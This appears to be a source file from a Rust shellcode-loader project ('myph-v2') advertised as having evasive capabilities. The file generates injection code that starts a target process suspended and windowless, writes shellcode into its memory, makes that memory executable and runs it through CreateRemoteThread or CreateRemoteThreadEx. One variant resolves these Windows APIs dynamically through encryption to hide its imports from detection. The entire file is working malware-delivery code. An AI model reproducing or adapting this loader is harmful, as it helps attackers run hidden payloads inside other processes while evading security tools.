myph-v2.git


myph-v2

~ rust shellcode loader with evasive capabilities
git clone https://github.com/djnnvx/myph-v2.git
log | files | refs | archive | README

process_injection_common.rs (9483B)

      1 use super::super::process_helpers;
      2 use super::common;
      3 
      4 pub struct RemoteThreadConfig {
      5     function_name: &'static str,
      6     has_attribute_list: bool,
      7 }
      8 
      9 impl RemoteThreadConfig {
     10     pub const fn create_remote_thread() -> Self {
     11         Self {
     12             function_name: "CreateRemoteThread",
     13             has_attribute_list: false,
     14         }
     15     }
     16 
     17     pub const fn create_remote_thread_ex() -> Self {
     18         Self {
     19             function_name: "CreateRemoteThreadEx",
     20             has_attribute_list: true,
     21         }
     22     }
     23 
     24     pub fn generate_import(&self) -> String {
     25         format!("\n{}\n", common::common_process_injection_imports())
     26     }
     27 
     28     pub fn generate_const(&self) -> String {
     29         let params = if self.has_attribute_list {
     30             r#"    fn CreateRemoteThreadEx(
     31         process: *mut std::ffi::c_void,
     32         thread_attributes: *const std::ffi::c_void,
     33         stack_size: usize,
     34         start_address: *const std::ffi::c_void,
     35         parameter: *const std::ffi::c_void,
     36         creation_flags: u32,
     37         attribute_list: *const std::ffi::c_void,
     38         thread_id: *mut u32,
     39     ) -> *mut std::ffi::c_void;"#
     40         } else {
     41             r#"    fn CreateRemoteThread(
     42         process: *mut std::ffi::c_void,
     43         thread_attributes: *const std::ffi::c_void,
     44         stack_size: usize,
     45         start_address: *const std::ffi::c_void,
     46         parameter: *const std::ffi::c_void,
     47         creation_flags: u32,
     48         thread_id: *mut u32,
     49     ) -> *mut std::ffi::c_void;"#
     50         };
     51 
     52         format!(
     53             r#"
     54 {}
     55 {}
     56 
     57 #[link(name = "kernel32")]
     58 extern "system" {{
     59 {}
     60 
     61 {}
     62 }}
     63 
     64 {}
     65 "#,
     66             common::COMMON_MEMORY_CONSTANTS,
     67             common::COMMON_PROCESS_CONSTANTS,
     68             common::common_process_injection_externs(),
     69             params,
     70             common::common_process_structures()
     71         )
     72     }
     73 
     74     pub fn generate_init(&self) -> String {
     75         process_helpers::generate_load_process_function()
     76     }
     77 
     78     pub fn generate_process(&self) -> String {
     79         let thread_call = if self.has_attribute_list {
     80             format!(
     81                 r#"let thread = {}(
     82             process.process,
     83             ptr::null(),
     84             0,
     85             base_addr,
     86             ptr::null(),
     87             0,
     88             ptr::null(),
     89             ptr::null_mut(),
     90         );"#,
     91                 self.function_name
     92             )
     93         } else {
     94             format!(
     95                 r#"let thread = {}(
     96             process.process,
     97             ptr::null(),
     98             0,
     99             base_addr,
    100             ptr::null(),
    101             0,
    102             ptr::null_mut(),
    103         );"#,
    104                 self.function_name
    105             )
    106         };
    107 
    108         format!(
    109             r#"
    110     let process = load_process("__PROCESS__");
    111     let mut old_protect: u32 = PAGE_READWRITE;
    112 
    113     unsafe {{
    114         let base_addr = VirtualAllocEx(
    115             process.process,
    116             ptr::null(),
    117             shellcode.len(),
    118             MEM_COMMIT | MEM_RESERVE,
    119             PAGE_READWRITE,
    120         );
    121 
    122         if base_addr.is_null() {{
    123             panic!("failed");
    124         }}
    125 
    126         let result = WriteProcessMemory(
    127             process.process,
    128             base_addr,
    129             shellcode.as_ptr() as *const std::ffi::c_void,
    130             shellcode.len(),
    131             ptr::null_mut(),
    132         );
    133 
    134         if result == 0 {{
    135             panic!("failed");
    136         }}
    137 
    138         let result = VirtualProtectEx(
    139             process.process,
    140             base_addr,
    141             shellcode.len(),
    142             PAGE_EXECUTE_READ,
    143             &mut old_protect,
    144         );
    145 
    146         if result == 0 {{
    147             panic!("failed");
    148         }}
    149 
    150         {}
    151 
    152         if thread.is_null() {{
    153             panic!("failed");
    154         }}
    155     }}
    156 "#,
    157             thread_call
    158         )
    159     }
    160 
    161     pub fn generate_template(&self, target_process: &str, function_name: &str) -> String {
    162         let template = super::common::TechniqueTemplateBuilder::new()
    163             .with_import(self.generate_import())
    164             .with_const(self.generate_const())
    165             .with_init(self.generate_init())
    166             .with_process(self.generate_process())
    167             .build(function_name);
    168 
    169         template.replace("__PROCESS__", target_process)
    170     }
    171 
    172     pub fn generate_init_with_dynamic_resolver(
    173         &self,
    174         encryptor: &dyn crate::encryption::Encryptor,
    175     ) -> Result<String, String> {
    176         use super::super::{process_helpers, windows_types};
    177         use super::dynamic_common::*;
    178 
    179         let create_process_w = create_process_w_resolver(encryptor)?;
    180 
    181         Ok(format!(
    182             r#"
    183 fn load_process(target: &str) -> ProcessInformation {{
    184     {}
    185 
    186     {}
    187 
    188     {}
    189 
    190     unsafe {{
    191         {create_process_w_resolver}
    192         {create_process_w_cast}
    193 
    194         let result = create_process_w(
    195             ptr::null(),
    196             command_line.as_mut_ptr(),
    197             ptr::null(),
    198             ptr::null(),
    199             0,
    200             CREATE_SUSPENDED | CREATE_NO_WINDOW,
    201             ptr::null(),
    202             ptr::null(),
    203             &si,
    204             &mut pi,
    205         );
    206 
    207         if result == 0 {{
    208             panic!("failed");
    209         }}
    210     }}
    211 
    212     pi
    213 }}
    214 "#,
    215             windows_types::init_startup_info_w(),
    216             windows_types::init_process_information(),
    217             process_helpers::command_line_conversion("target"),
    218             create_process_w_resolver = create_process_w.resolver_code,
    219             create_process_w_cast = create_process_w.cast_code,
    220         ))
    221     }
    222 
    223     pub fn generate_process_with_dynamic_resolver(
    224         &self,
    225         encryptor: &dyn crate::encryption::Encryptor,
    226     ) -> Result<String, String> {
    227         use super::dynamic_common::*;
    228 
    229         let virtual_alloc_ex = virtual_alloc_ex_resolver(encryptor)?;
    230         let write_process_memory = write_process_memory_resolver(encryptor)?;
    231         let virtual_protect_ex = virtual_protect_ex_resolver(encryptor)?;
    232 
    233         let (thread_resolver, _thread_resolver_name, thread_call) = if self.has_attribute_list {
    234             let resolver = create_remote_thread_ex_resolver(encryptor)?;
    235             let call = r#"let thread = create_remote_thread_ex(
    236             process.process,
    237             ptr::null(),
    238             0,
    239             base_addr,
    240             ptr::null(),
    241             0,
    242             ptr::null(),
    243             ptr::null_mut(),
    244         );"#;
    245             (resolver, "create_remote_thread_ex", call)
    246         } else {
    247             let resolver = create_remote_thread_resolver(encryptor)?;
    248             let call = r#"let thread = create_remote_thread(
    249             process.process,
    250             ptr::null(),
    251             0,
    252             base_addr,
    253             ptr::null(),
    254             0,
    255             ptr::null_mut(),
    256         );"#;
    257             (resolver, "create_remote_thread", call)
    258         };
    259 
    260         Ok(format!(
    261             r#"
    262     let process = load_process("__PROCESS__");
    263     let mut old_protect: u32 = PAGE_READWRITE;
    264 
    265     unsafe {{
    266         {virtual_alloc_ex_resolver}
    267         {virtual_alloc_ex_cast}
    268 
    269         let base_addr = virtual_alloc_ex(
    270             process.process,
    271             ptr::null(),
    272             shellcode.len(),
    273             MEM_COMMIT | MEM_RESERVE,
    274             PAGE_READWRITE,
    275         );
    276 
    277         if base_addr.is_null() {{
    278             panic!("failed");
    279         }}
    280 
    281         {write_process_memory_resolver}
    282         {write_process_memory_cast}
    283 
    284         let result = write_process_memory(
    285             process.process,
    286             base_addr,
    287             shellcode.as_ptr() as *const std::ffi::c_void,
    288             shellcode.len(),
    289             ptr::null_mut(),
    290         );
    291 
    292         if result == 0 {{
    293             panic!("failed");
    294         }}
    295 
    296         {virtual_protect_ex_resolver}
    297         {virtual_protect_ex_cast}
    298 
    299         let result = virtual_protect_ex(
    300             process.process,
    301             base_addr,
    302             shellcode.len(),
    303             PAGE_EXECUTE_READ,
    304             &mut old_protect,
    305         );
    306 
    307         if result == 0 {{
    308             panic!("failed");
    309         }}
    310 
    311         {thread_resolver}
    312         {thread_cast}
    313 
    314         {thread_call}
    315 
    316         if thread.is_null() {{
    317             panic!("failed");
    318         }}
    319     }}
    320 "#,
    321             virtual_alloc_ex_resolver = virtual_alloc_ex.resolver_code,
    322             virtual_alloc_ex_cast = virtual_alloc_ex.cast_code,
    323             write_process_memory_resolver = write_process_memory.resolver_code,
    324             write_process_memory_cast = write_process_memory.cast_code,
    325             virtual_protect_ex_resolver = virtual_protect_ex.resolver_code,
    326             virtual_protect_ex_cast = virtual_protect_ex.cast_code,
    327             thread_resolver = thread_resolver.resolver_code,
    328             thread_cast = thread_resolver.cast_code,
    329             thread_call = thread_call,
    330         ))
    331     }
    332 
    333     pub fn generate_template_with_dynamic_resolver(
    334         &self,
    335         target_process: &str,
    336         function_name: &str,
    337         _encryption_type: &str,
    338         encryptor: &dyn crate::encryption::Encryptor,
    339     ) -> Result<String, String> {
    340         let init_code = self.generate_init_with_dynamic_resolver(encryptor)?;
    341         let process_code = self.generate_process_with_dynamic_resolver(encryptor)?;
    342 
    343         let template = super::common::TechniqueTemplateBuilder::new()
    344             .with_import(self.generate_import())
    345             .with_const(self.generate_const())
    346             .with_init(init_code)
    347             .with_process(process_code)
    348             .build(function_name);
    349 
    350         Ok(template.replace("__PROCESS__", target_process))
    351     }
    352 }